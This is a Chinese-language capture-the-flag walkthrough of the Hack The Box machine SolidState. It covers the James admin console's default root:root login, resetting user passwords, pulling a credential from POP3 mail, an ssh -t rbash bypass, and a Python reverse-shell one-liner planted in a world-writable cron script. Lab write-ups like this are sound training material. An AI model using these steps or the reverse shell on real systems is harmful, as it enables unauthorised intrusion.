> 文章列表 > HTB-SolidState

HTB-SolidState

HTB-SolidState

HTB-SolidState

  • 信息收集
  • Apache James
  • mindy
    • rbash绕过
  • mindy -> root
  • 总结

HTB-SolidState

信息收集

HTB-SolidState
HTB-SolidState

80端口

HTB-SolidState
目录扫描

HTB-SolidState
从/README.txt文件里知道他们在捣鼓一个新的秘密项目,这个新的秘密项目就是一个新的网页外观。

HTB-SolidState

80端口先点到为止,免得进兔子洞。

Apache James

JAMES pop3d 2.3.2
HTB-SolidState
在msf上使用相关负载会失败。
HTB-SolidState
HTB-SolidState
4555还有一个JAMES管理员工具。
HTB-SolidState
使用root:root登录查看。
HTB-SolidState
listusers
HTB-SolidState
我们可以控制5个人的账户信息,当然包括修改密码。
HTB-SolidState
我们想要查看是否有有趣的邮件,所以要使用110端口的POP3,telnet 10.10.10.51 110
输入用户

命令 作用 用法
user 输入用户 user aster
pass 输入密码 pass aster
list 列出邮件列表 list
retr 查看邮件内容 retr id
dele 删除邮件 dele id
quit 退出 quit

HTB-SolidState
最左边的1,2就是邮件编号。
HTB-SolidState
有一封给mindy的邮件里面有mindy的凭证。
username: mindy
pass: P@55W0rd1!2@

一共三封邮件,两个和mindy有关,分别是欢迎mindy加入以及给mindy分配登陆密码。还有一个是发给John的,拜托john限制mindy访问权限以及给mindy分配凭证。

mindy

使用上面获得的凭证即可登录mindy。
HTB-SolidState

果然限制了shell。

HTB-SolidState

rbash绕过

HTB-SolidState
在登陆ssh的时候加上-t指定shell类型。

HTB-SolidState

mindy -> root

在opt中发现了一个777文件tmp.py。
HTB-SolidState

内容如下。
HTB-SolidState
没有sudo,只有一个孤独的tmp.py,想必只有时间任务能陪伴它了。

HTB-SolidState
修改tmp内容如下。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.31",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")

HTB-SolidState
慢慢等待。
HTB-SolidState

总结

SolidState的突破口是开放的25smtp端口、110pop3端口、以及4555James 远程管理工具。4555服务使用的默认凭证root:root让我们有可乘之机。通过修改所有用户密码后转向110的pop3收集用户邮件并发现mindy的用户密码。登陆后遇到rbash限制,尝试发现可以通过ssh -t指定shell绕过。随后在/opt文件发现了幸运777文件并修改等待时间任务自动运行提权。

apache james root:root
ssh mindy@ip -t “bash” 绕过rbash